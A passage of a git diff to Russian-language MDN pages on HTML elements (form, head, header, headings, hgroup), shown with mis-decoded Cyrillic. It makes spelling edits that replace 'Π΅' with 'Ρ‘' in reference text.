<div class="note"><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ ΠΎΠ± использовании:</strong> Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½ Π² HTML5 ΠΈ Π΅Π³ΠΎ Π½Π΅ слСдуСт большС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ. Π’Π·Π°ΠΌΠ΅Π½, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ <span class="st">{{htmlattrxref("accept", "input")}}</span> Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ {{HTMLElement("input")}} элСмСнта.</div>
</dd>
<dt>{{htmlattrdef("accept-charset")}}</dt>
- <dd>Π Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ <a href="/en-US/docs/Web/Guide/Localizations_and_character_encodings">ΡΠΈΠΌΠ²ΠΎΠ»ΡŒΠ½Ρ‹Π΅ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠΈ</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ сСрвСр. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΈΡ… Π² Ρ‚ΠΎΠΌ порядкС, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ½ΠΈ пСрСчислСны. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ <a href="/en-US/docs/Web/HTTP/Headers/Content-Encoding">Ρ‚Ρƒ ΠΆΠ΅ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΡƒ Ρ‡Ρ‚ΠΎ ΠΈ Ρƒ страницы</a>.<br>
+ <dd>Π Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ <a href="/en-US/docs/Web/Guide/Localizations_and_character_encodings">ΡΠΈΠΌΠ²ΠΎΠ»ΡŒΠ½Ρ‹Π΅ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠΈ</a>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ сСрвСр. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΈΡ… Π² Ρ‚ΠΎΠΌ порядкС, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΎΠ½ΠΈ пСрСчислСны. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ <a href="/en-US/docs/Web/HTTP/Headers/Content-Encoding">Ρ‚Ρƒ ΠΆΠ΅ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΡƒ Ρ‡Ρ‚ΠΎ ΠΈ Ρƒ страницы</a>.<br>
(Π’ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΉ вСрсии HTML, Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠΈ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹Ρ‚ΡŒ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Ρ‹ запятыми.)</dd>
<dt>{{htmlattrdef("action")}}</dt>
<dd>URI-адрСс ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹, которая ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΡƒΡŽ Ρ‡Π΅Ρ€Π΅Π· Ρ„ΠΎΡ€ΠΌΡƒ. Π­Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ пСрСписано с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° {{htmlattrxref("formaction", "button")}} Π½Π° {{HTMLElement("button")}} ΠΈΠ»ΠΈ {{HTMLElement("input")}} элСмСнтС.</dd>
diff --git a/files/ru/web/html/element/head/index.html b/files/ru/web/html/element/head/index.html
index d3b60218c1..21fa32018b 100644
--- a/files/ru/web/html/element/head/index.html
+++ b/files/ru/web/html/element/head/index.html
@@ -26,7 +26,7 @@ translation_of: Web/HTML/Element/head
<td>ΠžΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</th>
<td>
<p>Если Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ являСтся Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ {{HTMLElement("iframe")}} с Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ {{htmlattrxref("srcdoc", "iframe")}}, ΠΈΠ»ΠΈ Ссли информация ΠΎ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ΅ доступна ΠΈΠ· ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° Π±ΠΎΠ»Π΅Π΅ высокого уровня (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, строки Ρ‚Π΅ΠΌΡ‹ Π² элСктронном письмС HTML), Ρ‚ΠΎ ноль ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ элСмСнтов содСрТащих ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Π΅.</p>
@@ -43,7 +43,7 @@ translation_of: Web/HTML/Element/head
<td>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ {{HTMLElement("html")}} (<code>&lt;head&gt;</code> являСтся Π΅Π³ΠΎ ΠΏΠ΅Ρ€Π²Ρ‹ΠΌ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌ элСмСнтом).</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
<td>ΠžΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚.</td>
</tr>
<tr>
@@ -59,7 +59,7 @@ translation_of: Web/HTML/Element/head
<dl>
<dt>{{htmlattrdef("profile")}} {{obsolete_inline}}</dt>
- <dd>{{glossary("URI")}} ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€ΠΎΡ„ΠΈΠ»Π΅ΠΉ ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Ρ…, Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ.</dd>
+ <dd>{{glossary("URI")}} ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ ΠΏΡ€ΠΎΡ„ΠΈΠ»Π΅ΠΉ ΠΌΠ΅Ρ‚Π°Π΄Π°Π½Π½Ρ‹Ρ…, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ±Π΅Π»Π°ΠΌΠΈ.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
@@ -90,7 +90,7 @@ translation_of: Web/HTML/Element/head
<tr>
<td>{{SpecName('HTML WHATWG', 'semantics.html#the-head-element', '&lt;head&gt;')}}</td>
<td>{{Spec2('HTML WHATWG')}}</td>
- <td>НСт ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ с послСднСго "snapshot" (состояниС сохранСнноС Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ)</td>
+ <td>НСт ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ с послСднСго "snapshot" (состояниС сохранённоС Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ)</td>
</tr>
<tr>
<td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-head-element', '&lt;head&gt;')}}</td>
diff --git a/files/ru/web/html/element/header/index.html b/files/ru/web/html/element/header/index.html
index b9a383cc64..9aca0b1967 100644
--- a/files/ru/web/html/element/header/index.html
+++ b/files/ru/web/html/element/header/index.html
@@ -25,7 +25,7 @@ translation_of: Web/HTML/Element/header
<td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_ΠΏΠΎΡ‚ΠΎΠΊ">Основной ΠΏΠΎΡ‚ΠΎΠΊ</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Π―Π²Π½Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">явный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</th>
<td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_ΠΏΠΎΡ‚ΠΎΠΊ">Основной ΠΏΠΎΡ‚ΠΎΠΊ</a>, ΠΊΡ€ΠΎΠΌΠ΅ <code>&lt;header&gt;</code> ΠΈ {{HTMLElement("footer")}}</td>
</tr>
<tr>
@@ -33,11 +33,11 @@ translation_of: Web/HTML/Element/header
<td>Ни ΠΎΠ΄Π½ΠΎΠ³ΠΎ; Оба Ρ‚Π΅Π³Π°, ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ ΠΈ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ, ΡΠ²Π»ΡΡŽΡ‚ΡΡ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
<td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ <a href="/ru/docs/Web/Guide/HTML/Content_categories#Основной_ΠΏΠΎΡ‚ΠΎΠΊ">ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ основного ΠΏΠΎΡ‚ΠΎΠΊΠ°</a> Π² качСствС содСрТимого. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ элСмСнт <code>&lt;header&gt;</code> Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠΎΠΌ элСмСнта {{HTMLElement("address")}}, {{HTMLElement("footer")}} ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ элСмСнта <code>&lt;header&gt;</code>.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
<td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
</tr>
<tr>
@@ -49,7 +49,7 @@ translation_of: Web/HTML/Element/header
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅">ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</h2>
-<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ <code>&lt;header&gt;</code> Π½Π΅ относится ΠΊ сСкционному ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ , Π° Π·Π½Π°Ρ‡ΠΈΡ‚ Π½Π΅ создаСт Π½ΠΎΠ²Ρ‹ΠΉ Ρ€Π°Π·Π΄Π΅Π» Π² <a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document">структурС HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°</a>. ΠŸΡ€ΠΈ этом элСмСнт <code>&lt;header&gt;</code> ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ блиТайшСго Ρ€Π°Π·Π΄Π΅Π»Π° (элСмСнты <code>h1</code>-<code>h6</code>), Π½ΠΎ это <strong>Π½Π΅</strong> ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ.</p>
+<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ <code>&lt;header&gt;</code> Π½Π΅ относится ΠΊ сСкционному ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ , Π° Π·Π½Π°Ρ‡ΠΈΡ‚ Π½Π΅ создаёт Π½ΠΎΠ²Ρ‹ΠΉ Ρ€Π°Π·Π΄Π΅Π» Π² <a href="/ru/docs/Web/Guide/HTML/Sections_and_Outlines_of_an_HTML5_document">структурС HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°</a>. ΠŸΡ€ΠΈ этом элСмСнт <code>&lt;header&gt;</code> ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ блиТайшСго Ρ€Π°Π·Π΄Π΅Π»Π° (элСмСнты <code>h1</code>-<code>h6</code>), Π½ΠΎ это <strong>Π½Π΅</strong> ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ.</p>
<h3 id="Π˜ΡΡ‚ΠΎΡ€ΠΈΡ‡Π΅ΡΠΊΠΎΠ΅_ΡƒΠΏΠΎΡ‚Ρ€Π΅Π±Π»Π΅Π½ΠΈΠ΅">Π˜ΡΡ‚ΠΎΡ€ΠΈΡ‡Π΅ΡΠΊΠΎΠ΅ ΡƒΠΏΠΎΡ‚Ρ€Π΅Π±Π»Π΅Π½ΠΈΠ΅</h3>
@@ -76,7 +76,7 @@ translation_of: Web/HTML/Element/header
&lt;h2&gt;ΠŸΠ»Π°Π½Π΅Ρ‚Π° ЗСмля&lt;/h2&gt;
&lt;p&gt;ΠžΠΏΡƒΠ±Π»ΠΈΠΊΠΎΠ²Π°Π½ΠΎ Π² срСду, 4 октября 2017, Π”ΠΆΠ΅ΠΉΠ½ Π‘ΠΌΠΈΡ‚&lt;/p&gt;
&lt;/header&gt;
- &lt;p&gt;ΠœΡ‹ ΠΆΠΈΠ²Π΅ΠΌ Π½Π° синС-Π·Π΅Π»Π΅Π½ΠΎΠΉ ΠΏΠ»Π°Π½Π΅Ρ‚Π΅, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π΄ΠΎ сих ΠΏΠΎΡ€ Ρ‚Π°ΠΊ ΠΌΠ½ΠΎΠ³ΠΎ Π½Π΅ΠΈΠ·Π²Π΅Π΄Π°Π½Π½ΠΎΠ³ΠΎ.&lt;/p&gt;
+ &lt;p&gt;ΠœΡ‹ ΠΆΠΈΠ²Ρ‘ΠΌ Π½Π° синС-Π·Π΅Π»Ρ‘Π½ΠΎΠΉ ΠΏΠ»Π°Π½Π΅Ρ‚Π΅, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π΄ΠΎ сих ΠΏΠΎΡ€ Ρ‚Π°ΠΊ ΠΌΠ½ΠΎΠ³ΠΎ Π½Π΅ΠΈΠ·Π²Π΅Π΄Π°Π½Π½ΠΎΠ³ΠΎ.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://janesmith.com/the-planet-earth/"&gt;ΠŸΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ Ρ‡Ρ‚Π΅Π½ΠΈΠ΅...&lt;/a&gt;&lt;/p&gt;
&lt;/article&gt;
</pre>
diff --git a/files/ru/web/html/element/heading_elements/index.html b/files/ru/web/html/element/heading_elements/index.html
index 8917869d9f..9b7f70b0a6 100644
--- a/files/ru/web/html/element/heading_elements/index.html
+++ b/files/ru/web/html/element/heading_elements/index.html
@@ -12,7 +12,7 @@ translation_of: Web/HTML/Element/Heading_Elements
<td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">ΠŸΠΎΡ‚ΠΎΠΊ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</a>, Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, явный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</th>
<td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Π€Ρ€Π°Π·ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ΅ содСрТаниС</a>.</td>
</tr>
<tr>
@@ -20,11 +20,11 @@ translation_of: Web/HTML/Element/Heading_Elements
<td>{{no_tag_omission}}</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΠΈ</th>
<td>Π›ΡŽΠ±Ρ‹Π΅ элСмСнты ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‚Β <a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠ°Π½ΠΈΠ΅ ΠΏΠΎΡ‚ΠΎΠΊΠ°</a>; Π½Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉ ΠΊΠ°ΠΊ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΉ {{HTMLElement("hgroup")}} элСмСнт, сСйчас ΠΎΠ½ устарСл</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ Π”ΠœΠ˜ΠŸ</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ Π”ΠœΠ˜ΠŸ</th>
<td>{{ARIARole("tab")}}, {{ARIARole("presentation")}}</td>
</tr>
<tr>
@@ -166,7 +166,7 @@ translation_of: Web/HTML/Element/Heading_Elements
<h3 id="Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠ°Π½ΠΈΠ΅_Ρ€Π°Π·Π΄Π΅Π»Π°_ΠΌΠ°Ρ€ΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ">Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠ°Π½ΠΈΠ΅ Ρ€Π°Π·Π΄Π΅Π»Π° ΠΌΠ°Ρ€ΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ</h3>
-<p dir="ltr" id="tw-target-text">Π”Ρ€ΡƒΠ³ΠΈΠΌ распространСнным ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ чтСния с экрана являСтся созданиС списка содСрТимого сСкций ΠΈ использованиС Π΅Π³ΠΎ для опрСдСлСния ΠΌΠ°ΠΊΠ΅Ρ‚Π° страницы.</p>
+<p dir="ltr" id="tw-target-text">Π”Ρ€ΡƒΠ³ΠΈΠΌ распространённым ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ чтСния с экрана являСтся созданиС списка содСрТимого сСкций ΠΈ использованиС Π΅Π³ΠΎ для опрСдСлСния ΠΌΠ°ΠΊΠ΅Ρ‚Π° страницы.</p>
<p dir="ltr" id="tw-target-text">Π‘ΠΎΠ΄Π΅Ρ€ΠΆΠΈΠΌΠΎΠ΅ сСкционирования ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΡŽΒ <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">aria-labelledby</a></code>Β ΠΈ {{htmlattrxref("id")}} Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°, с ярлыком, ΠΊΡ€Π°Ρ‚ΠΊΠΎ ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΠΌ Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π·Π΄Π΅Π»Π°. Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ ΠΏΠΎΠ»Π΅Π·Π΅Π½ Π² ситуациях, ΠΊΠΎΠ³Π΄Π° Π½Π° ΠΎΠ΄Π½ΠΎΠΉ страницС имССтся Π±ΠΎΠ»Π΅Π΅ ΠΎΠ΄Π½ΠΎΠ³ΠΎ элСмСнта сСкционирования.</p>
@@ -189,7 +189,7 @@ translation_of: Web/HTML/Element/Heading_Elements
&lt;/footer&gt;
</pre>
-<p dir="ltr" id="tw-target-text">Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ тСхнология чтСния с экрана объявила Π±Ρ‹, Ρ‡Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π΄Π²Π°Β {{HTMLElement("nav")}} Ρ€Π°Π·Π΄Π΅Π»Ρ‹, ΠΎΠ΄ΠΈΠ½ называСтся «Основная навигация», Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ - «НиТний ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ»Β». Если ярлыки Π½Π΅ Π±Ρ‹Π»ΠΈ прСдоставлСны, Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΡƒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰Π΅ΠΌΡƒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС для чтСния с экрана, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, придСтся Ρ€Π°ΡΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉΒ <code>nav</code> содСрТаниС элСмСнта, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΈΡ… Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
+<p dir="ltr" id="tw-target-text">Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ тСхнология чтСния с экрана объявила Π±Ρ‹, Ρ‡Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π΄Π²Π°Β {{HTMLElement("nav")}} Ρ€Π°Π·Π΄Π΅Π»Ρ‹, ΠΎΠ΄ΠΈΠ½ называСтся «Основная навигация», Π° Π΄Ρ€ΡƒΠ³ΠΎΠΉ - «НиТний ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ»Β». Если ярлыки Π½Π΅ Π±Ρ‹Π»ΠΈ прСдоставлСны, Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΡƒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰Π΅ΠΌΡƒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ΅ обСспСчСниС для чтСния с экрана, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, придётся Ρ€Π°ΡΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉΒ <code>nav</code> содСрТаниС элСмСнта, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΈΡ… Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</p>
<ul>
<li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">ИспользованиС Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° aria-labelledby</a></li>
diff --git a/files/ru/web/html/element/hgroup/index.html b/files/ru/web/html/element/hgroup/index.html
index 029afcecdb..73d243817c 100644
--- a/files/ru/web/html/element/hgroup/index.html
+++ b/files/ru/web/html/element/hgroup/index.html
@@ -8,7 +8,7 @@ translation_of: Web/HTML/Element/hgroup
<div></div>
<div class="note">
